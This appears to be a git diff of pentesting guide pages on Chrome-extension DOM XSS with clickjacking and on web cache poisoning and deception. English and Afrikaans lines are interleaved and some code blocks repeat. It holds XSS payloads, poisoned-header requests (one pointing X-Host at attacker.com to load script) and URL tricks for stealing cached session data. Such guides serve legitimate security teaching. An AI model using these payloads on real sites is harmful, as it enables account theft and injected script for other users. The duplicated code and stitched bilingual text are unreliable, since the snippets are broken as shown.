"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
"chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>")
document.body.append(newFrame)
```
## DOM-gebaseerde XSS + ClickJacking
## DOM-based XSS + ClickJacking
This example was taken from the [original post writeup](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
The core issue arises from a DOM-based Cross-site Scripting (XSS) vulnerability located in **`/html/bookmarks.html`**. The problematic JavaScript, part of **`bookmarks.js`**, is detailed below:
Hierdie voorbeeld is geneem uit die [oorspronklike pos skrywe](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/).
Die kernprobleem ontstaan uit 'n DOM-gebaseerde Cross-site Scripting (XSS) kwesbaarheid geleë in **`/html/bookmarks.html`**. Die problematiese JavaScript, deel van **`bookmarks.js`**, word hieronder uiteengesit:
```javascript
$("#btAdd").on("click", function () {
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkName = $("#txtName").val()
if (
$(".custom-button .label").filter(function () {
return $(this).text() === bookmarkName
}).length
)
return false
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
var bookmarkItem = $('<div class="custom-button">')
bookmarkItem.html('<span class="label">' + bookmarkName + "</span>")
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>')
bookmarkItem.attr("data-title", bookmarkName)
bookmarkItem.data("timestamp", new Date().getTime())
$("section.bookmark-container .existing-items").append(bookmarkItem)
persistData()
})
```
Hierdie snit haal die **waarde** uit die **`txtName`** invoerveld en gebruik **string-konkatenasie om HTML te genereer**, wat dan aan die DOM bygevoeg word met jQuery se `.append()` funksie.
This snippet fetches the **value** from the **`txtName`** input field and uses **string concatenation to generate HTML**, which is then appended to the DOM using jQuerys `.append()` function.
Tipies sou die Chrome uitbreiding se Inhoudsekuriteitsbeleid (CSP) sulke kwesbaarhede voorkom. egter, as gevolg van **CSP verslapping met unsafe-eval** en die gebruik van jQuery se DOM manipulasie metodes (wat [`globalEval()`](https://api.jquery.com/jquery.globaleval/) gebruik om skripte aan [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) oor te dra tydens DOM invoeging), is uitbuiting steeds moontlik.
Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to **CSP relaxation with unsafe-eval** and the use of jQuerys DOM manipulation methods (which employ [`globalEval()`](https://api.jquery.com/jquery.globaleval/) to pass scripts to [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) upon DOM insertion), exploitation is still possible.
While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button.
To enhance this vulnerability, a secondary **clickjacking** vulnerability is exploited. The Chrome extension's manifest showcases an extensive `web_accessible_resources` policy:
Terwyl hierdie kwesbaarheid beduidend is, is die uitbuiting gewoonlik afhanklik van gebruikersinteraksie: die bladsy besoek, 'n XSS payload invoer, en die “Voeg by” knoppie aktiveer.
Om hierdie kwesbaarheid te verbeter, word 'n sekondêre **clickjacking** kwesbaarheid uitgebuit. Die Chrome uitbreiding se manifest toon 'n uitgebreide `web_accessible_resources` beleid:
```json
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
```
Opmerklik is die **`/html/bookmarks.html`** bladsy geneig tot framing, en dus kwesbaar vir **clickjacking**. Hierdie kwesbaarheid word benut om die bladsy binne 'n aanvaller se webwerf te raam, dit te oorvleuel met DOM-elemente om die koppelvlak misleidend te herontwerp. Hierdie manipulasie lei daargeteëlde slagoffers om onbewustelik met die onderliggende uitbreiding te interaksie.
Notably, the **`/html/bookmarks.html`** page is prone to framing, thus vulnerable to **clickjacking**. This vulnerability is leveraged to frame the page within an attackers site, overlaying it with DOM elements to redesign the interface deceptively. This manipulation leads victims to interact with the underlying extension unintentionally.
## References
## Verwysings
- [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
- [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,150 +1,139 @@
# Cache Poisoning and Cache Deception
# Cache Poisoning en Cache Deception
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=cache-deception) om maklik **werkvloeiens** te bou en te **automate** wat deur die wêreld se **mees gevorderde** gemeenskapstools aangedryf word.\
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=cache-deception" %}
## The difference
## Die verskil
> **What is the difference between web cache poisoning and web cache deception?**
> **Wat is die verskil tussen web cache poisoning en web cache deception?**
>
> - In **web cache poisoning**, the attacker causes the application to store some malicious content in the cache, and this content is served from the cache to other application users.
> - In **web cache deception**, the attacker causes the application to store some sensitive content belonging to another user in the cache, and the attacker then retrieves this content from the cache.
> - In **web cache poisoning** veroorsaak die aanvaller dat die toepassing 'n paar kwaadwillige inhoud in die cache stoor, en hierdie inhoud word aan ander toepassingsgebruikers van die cache bedien.
> - In **web cache deception** veroorsaak die aanvaller dat die toepassing 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort in die cache stoor, en die aanvaller haal dan hierdie inhoud uit die cache.
## Cache Poisoning
Cache poisoning is aimed at manipulating the client-side cache to force clients to load resources that are unexpected, partial, or under the control of an attacker. The extent of the impact is contingent on the popularity of the affected page, as the tainted response is served exclusively to users visiting the page during the period of cache contamination.
Cache poisoning is daarop gemik om die kliënt-kant cache te manipuleer om kliënte te dwing om hulpbronne te laai wat onverwags, gedeeltelik of onder die beheer van 'n aanvaller is. Die omvang van die impak hang af van die gewildheid van die aangetaste bladsy, aangesien die besmette antwoord eksklusief aan gebruikers wat die bladsy besoek tydens die periode van cache besoedeling bedien word.
The execution of a cache poisoning assault involves several steps:
Die uitvoering van 'n cache poisoning aanval behels verskeie stappe:
1. **Identification of Unkeyed Inputs**: These are parameters that, although not required for a request to be cached, can alter the response returned by the server. Identifying these inputs is crucial as they can be exploited to manipulate the cache.
2. **Exploitation of the Unkeyed Inputs**: After identifying the unkeyed inputs, the next step involves figuring out how to misuse these parameters to modify the server's response in a way that benefits the attacker.
3. **Ensuring the Poisoned Response is Cached**: The final step is to ensure that the manipulated response is stored in the cache. This way, any user accessing the affected page while the cache is poisoned will receive the tainted response.
1. **Identifikasie van Ongekykte Insette**: Dit is parameters wat, alhoewel nie vereis word vir 'n versoek om in die cache gestoor te word nie, die antwoord wat deur die bediener teruggestuur word, kan verander. Die identifikasie van hierdie insette is van kardinale belang aangesien dit benut kan word om die cache te manipuleer.
2. **Eksploitatie van die Ongekykte Insette**: Nadat die ongekykte insette geïdentifiseer is, behels die volgende stap om uit te vind hoe om hierdie parameters te misbruik om die bediener se antwoord op 'n manier te verander wat die aanvaller bevoordeel.
3. **Verseker dat die Besmette Antwoord in die Cache Gestoor Word**: Die finale stap is om te verseker dat die gemanipuleerde antwoord in die cache gestoor word. Op hierdie manier sal enige gebruiker wat toegang tot die aangetaste bladsy verkry terwyl die cache besoedel is, die besmette antwoord ontvang.
### Discovery: Check HTTP headers
### Ontdekking: Kontroleer HTTP koppe
Usually, when a response was **stored in the cache** there will be a **header indicating so**, you can check which headers you should pay attention to in this post: [**HTTP Cache headers**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
Gewoonlik, wanneer 'n antwoord **in die cache gestoor is**, sal daar 'n **kop wat dit aandui** wees, jy kan kyk watter koppe jy op hierdie pos moet let: [**HTTP Cache koppe**](../../network-services-pentesting/pentesting-web/special-http-headers.md#cache-headers).
### Discovery: Caching error codes
### Ontdekking: Cache foutkodes
If you are thinking that the response is being stored in a cache, you could try to **send requests with a bad header**, which should be responded to with a **status code 400**. Then try to access the request normally and if the **response is a 400 status code**, you know it's vulnerable (and you could even perform a DoS).
As jy dink dat die antwoord in 'n cache gestoor word, kan jy probeer om **versoeke met 'n slegte kop** te stuur, wat met 'n **statuskode 400** beantwoord moet word. Probeer dan om die versoek normaal te benader en as die **antwoord 'n 400 statuskode is**, weet jy dit is kwesbaar (en jy kan selfs 'n DoS uitvoer).
You can find more options in:
Jy kan meer opsies vind in:
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
However, note that **sometimes these kinds of status codes aren't cached** so this test could not be reliable.
Let egter daarop dat **soms hierdie soort statuskodes nie in die cache gestoor word nie**, so hierdie toets mag nie betroubaar wees nie.
### Discovery: Identify and evaluate unkeyed inputs
You could use [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) to **brute-force parameters and headers** that may be **changing the response of the page**. For example, a page may be using the header `X-Forwarded-For` to indicate the client to load the script from there:
### Ontdekking: Identifiseer en evalueer ongekykte insette
Jy kan [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) gebruik om **parameters en koppe te brute-force** wat moontlik die **antwoord van die bladsy verander**. Byvoorbeeld, 'n bladsy mag die kop `X-Forwarded-For` gebruik om die kliënt aan te dui om die skrip van daar te laai:
```markup
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### Onttrek 'n skadelike reaksie van die agtergrondbediener
### Elicit a harmful response from the back-end server
Met die parameter/kop geïdentifiseer, kyk hoe dit **gesuiwer** word en **waar** dit **reflekteer** of die reaksie van die kop beïnvloed. Kan jy dit op enige manier misbruik (voer 'n XSS uit of laai 'n JS-kode wat deur jou beheer word? voer 'n DoS uit?...)
With the parameter/header identified check how it is being **sanitised** and **where** is it **getting reflected** or affecting the response from the header. Can you abuse it anyway (perform an XSS or load a JS code controlled by you? perform a DoS?...)
### Kry die reaksie in die cache
### Get the response cached
Sodra jy die **bladsy** geïdentifiseer het wat misbruik kan word, watter **parameter**/**kop** om te gebruik en **hoe** om dit te **misbruik**, moet jy die bladsy in die cache kry. Afhangende van die hulpbron wat jy probeer om in die cache te kry, kan dit 'n rukkie neem, jy mag dalk vir verskeie sekondes moet probeer.
Once you have **identified** the **page** that can be abused, which **parameter**/**header** to use and **how** to **abuse** it, you need to get the page cached. Depending on the resource you are trying to get in the cache this could take some time, you might need to be trying for several seconds.
Die kop **`X-Cache`** in die reaksie kan baie nuttig wees, aangesien dit die waarde **`miss`** kan hê wanneer die versoek nie in die cache was nie en die waarde **`hit`** wanneer dit in die cache is.\
Die kop **`Cache-Control`** is ook interessant om te weet of 'n hulpbron in die cache gestoor word en wanneer die volgende keer die hulpbron weer in die cache gestoor sal word: `Cache-Control: public, max-age=1800`
The header **`X-Cache`** in the response could be very useful as it may have the value **`miss`** when the request wasn't cached and the value **`hit`** when it is cached.\
The header **`Cache-Control`** is also interesting to know if a resource is being cached and when will be the next time the resource will be cached again: `Cache-Control: public, max-age=1800`
Nog 'n interessante kop is **`Vary`**. Hierdie kop word dikwels gebruik om **addisionele koppe aan te dui** wat as **deel van die cache-sleutel** behandel word, selfs al is hulle normaalweg nie gesleutel nie. Daarom, as die gebruiker die `User-Agent` van die slagoffer wat hy teiken, ken, kan hy die cache vir die gebruikers wat daardie spesifieke `User-Agent` gebruik, vergiftig.
Another interesting header is **`Vary`**. This header is often used to **indicate additional headers** that are treated as **part of the cache key** even if they are normally unkeyed. Therefore, if the user knows the `User-Agent` of the victim he is targeting, he can poison the cache for the users using that specific `User-Agent`.
Een meer kop wat verband hou met die cache is **`Age`**. Dit definieer die tyd in sekondes wat die objek in die proxy-cache was.
One more header related to the cache is **`Age`**. It defines the times in seconds the object has been in the proxy cache.
Wanneer jy 'n versoek in die cache stoor, wees **versigtig met die koppe wat jy gebruik** omdat sommige daarvan **onverwagte** as **gesleuteld** gebruik kan word en die **slagoffer sal daardie selfde kop moet gebruik**. Toets altyd 'n Cache Poisoning met **verskillende blaaiers** om te kyk of dit werk.
When caching a request, be **careful with the headers you use** because some of them could be **used unexpectedly** as **keyed** and the **victim will need to use that same header**. Always **test** a Cache Poisoning with **different browsers** to check if it's working.
## Exploitering Voorbeelde
## Exploiting Examples
### Easiest example
A header like `X-Forwarded-For` is being reflected in the response unsanitized.\
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed:
### Eenvoudigste voorbeeld
'n Kop soos `X-Forwarded-For` word in die reaksie ongesuiwer reflekteer.\
Jy kan 'n basiese XSS-payload stuur en die cache vergiftig sodat almal wat die bladsy benader, XSS sal ervaar:
```markup
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
```
_Note dat dit 'n versoek na `/en?region=uk` sal vergiftig en nie na `/en` nie_
_Note that this will poison a request to `/en?region=uk` not to `/en`_
### Cache poisoning to DoS
### Cache vergiftiging om DoS
{{#ref}}
cache-poisoning-to-dos.md
{{#endref}}
### Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.
### Gebruik van web cache vergiftiging om koekie-hantering kwesbaarhede te benut
Koekies kan ook op die antwoord van 'n bladsy weerspieël word. As jy dit kan misbruik om 'n XSS te veroorsaak, kan jy in staat wees om XSS in verskeie kliënte te benut wat die kwaadwillige cache antwoord laai.
```markup
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
```
Let daarop dat as die kwesbare koekie baie deur die gebruikers gebruik word, gereelde versoeke die cache sal skoonmaak.
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
### Generering van verskille met afdelers, normalisering en punte <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Generating discrepancies with delimiters, normalization and dots <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Check:
Kontroleer:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Cache poisoning with path traversal to steal API key <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
### Cache vergiftiging met pad traversering om API-sleutel te steel <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
[**This writeup explains**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) how it was possible to steal an OpenAI API key with an URL like `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` because anything matching `/share/*` will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
[**Hierdie skrywe verduidelik**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) hoe dit moontlik was om 'n OpenAI API-sleutel te steel met 'n URL soos `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` omdat enigiets wat pas by `/share/*` in die cache gestoor sal word sonder dat Cloudflare die URL normaliseer, wat gedoen is toe die versoek die webbediener bereik het.
This is also explained better in:
Dit word ook beter verduidelik in:
{{#ref}}
cache-poisoning-via-url-discrepancies.md
{{#endref}}
### Using multiple headers to exploit web cache poisoning vulnerabilities <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Sometimes you will need to **exploit several unkeyed inputs** to be able to abuse a cache. For example, you may find an **Open redirect** if you set `X-Forwarded-Host` to a domain controlled by you and `X-Forwarded-Scheme` to `http`.**If** the **server** is **forwarding** all the **HTTP** requests **to HTTPS** and using the header `X-Forwarded-Scheme` as the domain name for the redirect. You can control where the page is pointed by the redirect.
### Gebruik van verskeie koptekste om web cache vergiftiging kwesbaarhede te benut <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
Soms sal jy **verskeie ongekeyde insette** moet **benut** om 'n cache te kan misbruik. Byvoorbeeld, jy mag 'n **Open redirect** vind as jy `X-Forwarded-Host` op 'n domein wat deur jou beheer word en `X-Forwarded-Scheme` op `http` stel. **As** die **bediener** al die **HTTP** versoeke **na HTTPS** **stuur** en die koptekst `X-Forwarded-Scheme` as die domeinnaam vir die omleiding gebruik. Jy kan beheer waar die bladsy deur die omleiding gewys word.
```markup
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
```
### Exploiting with limited `Vary`header
If you found that the **`X-Host`** header is being used as **domain name to load a JS resource** but the **`Vary`** header in the response is indicating **`User-Agent`**. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent:
As jy gevind het dat die **`X-Host`** header gebruik word as **domeinnaam om 'n JS hulpbron te laai** maar die **`Vary`** header in die antwoord dui op **`User-Agent`**. Dan moet jy 'n manier vind om die User-Agent van die slagoffer te exfiltreer en die cache te vergiftig met daardie gebruikersagent:
```markup
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
```
### Fat Get
Send a GET request with the request in the URL and in the body. If the web server uses the one from the body but the cache server caches the one from the URL, anyone accessing that URL will actually use the parameter from the body. Like the vuln James Kettle found at the Github website:
Stuur 'n GET-versoek met die versoek in die URL en in die liggaam. As die webbediener die een uit die liggaam gebruik, maar die cachebediener die een uit die URL kas, sal enigeen wat daardie URL benader, werklik die parameter uit die liggaam gebruik. Soos die kwesbaarheid wat James Kettle op die Github-webwerf gevind het:
```
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
@ -153,91 +142,90 @@ Content-Length: 22
report=innocent-victim
```
Daar is 'n portswigger laboratorium oor hierdie: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
### Parameter Cloaking
### Parameter Cloacking
Byvoorbeeld, dit is moontlik om **parameters** in ruby bedieners te skei met die karakter **`;`** in plaas van **`&`**. Dit kan gebruik word om ongekeyde parameterwaardes binne gekeyde te plaas en dit te misbruik.
For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them.
Portswigger laboratorium: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking)
### Exploiting HTTP Cache Poisoning deur HTTP Request Smuggling te misbruik
### Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Leer hier oor hoe om [Cache Poisoning-aanvalle deur HTTP Request Smuggling te misbruik](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request Smuggling](../http-request-smuggling/#using-http-request-smuggling-to-perform-web-cache-poisoning).
### Geoutomatiseerde toetsing vir Web Cache Poisoning
### Automated testing for Web Cache Poisoning
Die [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) kan gebruik word om outomaties vir web cache poisoning te toets. Dit ondersteun baie verskillende tegnieke en is hoogs aanpasbaar.
The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable.
Voorbeeld gebruik: `wcvs -u example.com`
Example usage: `wcvs -u example.com`
## Vulnerable Examples
## Kwetsbare Voorbeelde
### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577))
ATS forwarded the fragment inside the URL without stripping it and generated the cache key only using the host, path and query (ignoring the fragment). So the request `/#/../?r=javascript:alert(1)` was sent to the backend as `/#/../?r=javascript:alert(1)` and the cache key didn't have the payload inside of it, only host, path and query.
ATS het die fragment binne die URL deurgegee sonder om dit te verwyder en het die cache-sleutel slegs met die gasheer, pad en navraag gegenereer (wat die fragment geïgnoreer het). So is die versoek `/#/../?r=javascript:alert(1)` na die agterkant gestuur as `/#/../?r=javascript:alert(1)` en die cache-sleutel het nie die payload daarin gehad nie, slegs gasheer, pad en navraag.
### GitHub CP-DoS
Sending a bad value in the content-type header triggered a 405 cached response. The cache key contained the cookie so it was possible only to attack unauth users.
Die stuur van 'n slegte waarde in die content-type kop het 'n 405 gecacheerde antwoord geaktiveer. Die cache-sleutel het die koekie bevat, so dit was slegs moontlik om ongeauthentiseerde gebruikers aan te val.
### GitLab + GCP CP-DoS
GitLab uses GCP buckets to store static content. **GCP Buckets** support the **header `x-http-method-override`**. So it was possible to send the header `x-http-method-override: HEAD` and poison the cache into returning an empty response body. It could also support the method `PURGE`.
GitLab gebruik GCP-buckets om statiese inhoud te stoor. **GCP Buckets** ondersteun die **kop `x-http-method-override`**. So was dit moontlik om die kop `x-http-method-override: HEAD` te stuur en die cache te vergiftig om 'n leë antwoordliggaam te laat terugkeer. Dit kan ook die metode `PURGE` ondersteun.
### Rack Middleware (Ruby on Rails)
In Ruby on Rails applications, Rack middleware is often utilized. The purpose of the Rack code is to take the value of the **`x-forwarded-scheme`** header and set it as the request's scheme. When the header `x-forwarded-scheme: http` is sent, a 301 redirect to the same location occurs, potentially causing a Denial of Service (DoS) to that resource. Additionally, the application might acknowledge the `X-forwarded-host` header and redirect users to the specified host. This behavior can lead to the loading of JavaScript files from an attacker's server, posing a security risk.
In Ruby on Rails-toepassings word Rack middleware dikwels gebruik. Die doel van die Rack-kode is om die waarde van die **`x-forwarded-scheme`** kop te neem en dit as die versoek se skema in te stel. Wanneer die kop `x-forwarded-scheme: http` gestuur word, vind 'n 301 herleiding na dieselfde plek plaas, wat moontlik 'n Denial of Service (DoS) aan daardie hulpbron kan veroorsaak. Boonop kan die toepassing die `X-forwarded-host` kop erken en gebruikers na die gespesifiseerde gasheer herlei. Hierdie gedrag kan lei tot die laai van JavaScript-lêers van 'n aanvaller se bediener, wat 'n sekuriteitsrisiko inhou.
### 403 and Storage Buckets
### 403 en Stoor Buckets
Cloudflare previously cached 403 responses. Attempting to access S3 or Azure Storage Blobs with incorrect Authorization headers would result in a 403 response that got cached. Although Cloudflare has stopped caching 403 responses, this behavior might still be present in other proxy services.
Cloudflare het voorheen 403-antwoorde gecache. Pogings om S3 of Azure Storage Blobs met onakkurate Owerheidskoppe te benader, sou 'n 403-antwoord lewer wat gecache is. Alhoewel Cloudflare opgehou het om 403-antwoorde te cache, kan hierdie gedrag steeds in ander proxy-dienste teenwoordig wees.
### Injecting Keyed Parameters
### Invoeg van Gekeyde Parameters
Caches often include specific GET parameters in the cache key. For instance, Fastly's Varnish cached the `size` parameter in requests. However, if a URL-encoded version of the parameter (e.g., `siz%65`) was also sent with an erroneous value, the cache key would be constructed using the correct `size` parameter. Yet, the backend would process the value in the URL-encoded parameter. URL-encoding the second `size` parameter led to its omission by the cache but its utilization by the backend. Assigning a value of 0 to this parameter resulted in a cacheable 400 Bad Request error.
Caches sluit dikwels spesifieke GET-parameters in die cache-sleutel in. Byvoorbeeld, Fastly se Varnish het die `size` parameter in versoeke gecache. As 'n URL-gecodeerde weergawe van die parameter (bv. `siz%65`) egter ook met 'n foute waarde gestuur is, sou die cache-sleutel met die korrekte `size` parameter saamgestel word. Tog sou die agterkant die waarde in die URL-gecodeerde parameter verwerk. URL-kodering van die tweede `size` parameter het gelei tot sy weglating deur die cache, maar sy gebruik deur die agterkant. Die toekenning van 'n waarde van 0 aan hierdie parameter het gelei tot 'n cachebare 400 Bad Request-fout.
### User Agent Rules
### User Agent Reëls
Some developers block requests with user-agents matching those of high-traffic tools like FFUF or Nuclei to manage server load. Ironically, this approach can introduce vulnerabilities such as cache poisoning and DoS.
Sommige ontwikkelaars blokkeer versoeke met user-agents wat ooreenstem met dié van hoë-verkeer gereedskap soos FFUF of Nuclei om bedienerlaai te bestuur. Ironies genoeg kan hierdie benadering kwesbaarhede soos cache poisoning en DoS inbring.
### Illegal Header Fields
### Onwettige Kop Velde
The [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specifies the acceptable characters in header names. Headers containing characters outside of the specified **tchar** range should ideally trigger a 400 Bad Request response. In practice, servers don't always adhere to this standard. A notable example is Akamai, which forwards headers with invalid characters and caches any 400 error, as long as the `cache-control` header is not present. An exploitable pattern was identified where sending a header with an illegal character, such as `\`, would result in a cacheable 400 Bad Request error.
Die [RFC7230](https://datatracker.ietf.mrg/doc/html/rfc7230) spesifiseer die aanvaarbare karakters in kopname. Koppe wat karakters buite die gespesifiseerde **tchar** reeks bevat, behoort idealiter 'n 400 Bad Request-antwoord te aktiveer. In praktyk hou bedieners nie altyd by hierdie standaard nie. 'n Opmerkelijke voorbeeld is Akamai, wat koppe met ongeldige karakters deurgee en enige 400-fout cache, solank die `cache-control` kop nie teenwoordig is nie. 'n Eksploiteerbare patroon is geïdentifiseer waar die stuur van 'n kop met 'n onwettige karakter, soos `\`, 'n cachebare 400 Bad Request-fout sou lewer.
### Finding new headers
### Vind nuwe koppe
[https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6](https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6)
## Cache Deception
The goal of Cache Deception is to make clients **load resources that are going to be saved by the cache with their sensitive information**.
Die doel van Cache Deception is om kliënte **hulpbronne te laat laai wat deur die cache met hul sensitiewe inligting gestoor gaan word**.
First of all note that **extensions** such as `.css`, `.js`, `.png` etc are usually **configured** to be **saved** in the **cache.** Therefore, if you access `www.example.com/profile.php/nonexistent.js` the cache will probably store the response because it sees the `.js` **extension**. But, if the **application** is **replaying** with the **sensitive** user contents stored in _www.example.com/profile.php_, you can **steal** those contents from other users.
Eerstens, let daarop dat **uitbreidings** soos `.css`, `.js`, `.png` ens. gewoonlik **gekonfigureer** is om in die **cache** **gestoor** te word. Daarom, as jy toegang verkry tot `www.example.com/profile.php/nonexistent.js`, sal die cache waarskynlik die antwoord stoor omdat dit die `.js` **uitbreiding** sien. Maar, as die **toepassing** **herhaal** met die **sensitiewe** gebruikersinhoud wat in _www.example.com/profile.php_ gestoor is, kan jy daardie inhoud van ander gebruikers **steel**.
Other things to test:
Ander dinge om te toets:
- _www.example.com/profile.php/.js_
- _www.example.com/profile.php/.css_
- _www.example.com/profile.php/test.js_
- _www.example.com/profile.php/../test.js_
- _www.example.com/profile.php/%2e%2e/test.js_
- _Use lesser known extensions such as_ `.avif`
- _Gebruik minder bekende uitbreidings soos_ `.avif`
Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In the example, it is explained that if you load a non-existent page like _http://www.example.com/home.php/non-existent.css_ the content of _http://www.example.com/home.php_ (**with the user's sensitive information**) is going to be returned and the cache server is going to save the result.\
Then, the **attacker** can access _http://www.example.com/home.php/non-existent.css_ in their own browser and observe the **confidential information** of the users that accessed before.
Nog 'n baie duidelike voorbeeld kan in hierdie skrywe gevind word: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\
In die voorbeeld word verduidelik dat as jy 'n nie-bestaande bladsy soos _http://www.example.com/home.php/non-existent.css_ laai, die inhoud van _http://www.example.com/home.php_ (**met die gebruiker se sensitiewe inligting**) gaan teruggegee word en die cache bediener gaan die resultaat stoor.\
Dan kan die **aanvaller** toegang verkry tot _http://www.example.com/home.php/non-existent.css_ in hul eie blaaiert en die **vertrouelijke inligting** van die gebruikers wat voorheen toegang verkry het, waarneem.
Note that the **cache proxy** should be **configured** to **cache** files **based** on the **extension** of the file (_.css_) and not base on the content-type. In the example _http://www.example.com/home.php/non-existent.css_ will have a `text/html` content-type instead of a `text/css` mime type (which is the expected for a _.css_ file).
